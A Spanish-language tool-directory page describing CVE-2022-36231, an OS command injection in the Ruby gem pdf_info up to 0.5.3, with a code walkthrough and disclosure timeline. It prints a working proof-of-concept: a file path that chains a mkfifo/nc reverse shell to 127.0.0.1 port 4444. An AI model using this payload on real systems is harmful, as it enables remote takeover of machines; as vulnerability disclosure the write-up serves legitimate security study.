Skip to content
KitploitKITPLOIT
HerramientasBlog
Enviar
HerramientasBlog
Enviar

¡Herramientas de Hacking, PenTest y Ciberseguridad para tu Arsenal de Seguridad!

Kitploit es un directorio de herramientas de hacking, ciberseguridad y pentesting. Descubre las últimas actualizaciones de proyectos para encontrar vulnerabilidades, analizar sistemas, automatizar pruebas y fortalecer tu seguridad.

··Feeds·Contacto·Privacidad·© 2026 Kitploit

Directorio de Herramientas

Categorías

Ver todas las categorías
Loading categories
CVE-2022-36231 — pdf_info <= 0.5.3 Inyección de comandos del sistema operativo | Kitploit
Herramientas/GitHubGitHub/affix/cve-2022-36231
Análisis de VulnerabilidadesExplotaciónExplotación de Aplicaciones WebPruebas de PenetraciónComando y ControlDesarrollo de Payloads
GitHubaffix/cve-2022-36231

CVE-2022-36231

pdf_info <= 0.5.3 Inyección de comandos del sistema operativo

Ver Repositorio
53hace 3 añosAún no revisado

Más Populares

Ver todos →

Descubre las herramientas más usadas por nuestra comunidad.

Explora todas las herramientas

Explora nuestra colección de herramientas

Ver todas las herramientas →
Compartir

CVE-2022-36231

La gema de ruby pdf_info <= 0.5.3 es vulnerable a la Inyección de Comandos del Sistema Operativo al ejecutar un método en un objeto PDF::Info.

Un atacante que utilice un payload especialmente diseñado puede ejecutar comandos del sistema operativo mediante el encadenamiento de comandos.

Análisis de Vulnerabilidad

Al crear un nuevo objeto PDF::Info, se llama al método initialize:

root@kitploit:~
def initialize(pdf_path)
  @pdf_path = pdf_path
end

Durante la inicialización del objeto, no se realiza ninguna validación y se utiliza la ruta proporcionada por el usuario.

Podemos crear un objeto PDF::Info y devolver los metadatos de un PDF con lo siguiente:

root@kitploit:~
#!/usr/bin/env ruby

require 'pdf/info'

info = PDF::Info.new("./pdf/sample1.pdf")
pp info.metadata

Cuando llamamos al método metadata en el objeto PDF::Info, se realiza una llamada al método process_output con el argumento pasado siendo el método command.

El método command utiliza la variable de clase @pdf_info para ejecutar el comando pdfinfo en el sistema usando el siguiente fragmento de código para devolver la salida del comando:

root@kitploit:~
output = `#{self.class.command_path} -enc UTF-8 -f 1 -l -1 "#{@pdf_path}" 2> /dev/null`

Al igual que con el método initialize, no se realiza ninguna validación en la variable @pdf_path. Esto nos permite hacer uso del encadenamiento de comandos con ; para ejecutar un comando arbitrario.

root@kitploit:~
info = PDF::Info.new('pdf/sample1.pdf; $(rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 127.0.0.1 4444>/tmp/f)')

pp info.metadata

El fragmento de código anterior ejecutará una shell inversa a 127.0.0.1 en el puerto 4444.

Shell

Detalles de Divulgación

  • 2022-07-20 :: Reportado al Proveedor
  • 2022-08-30 :: Seguimiento con el Proveedor
  • 2022-09-30 :: Solicitar CVE
  • 2022-10-26 :: Publicar Vulnerabilidad
Descargar herramienta